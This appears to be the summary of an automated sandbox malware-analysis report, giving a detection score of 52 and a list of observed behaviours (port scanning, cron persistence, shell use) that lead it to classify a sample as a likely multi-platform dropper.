Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Found strings indicative of a multi-platform dropper
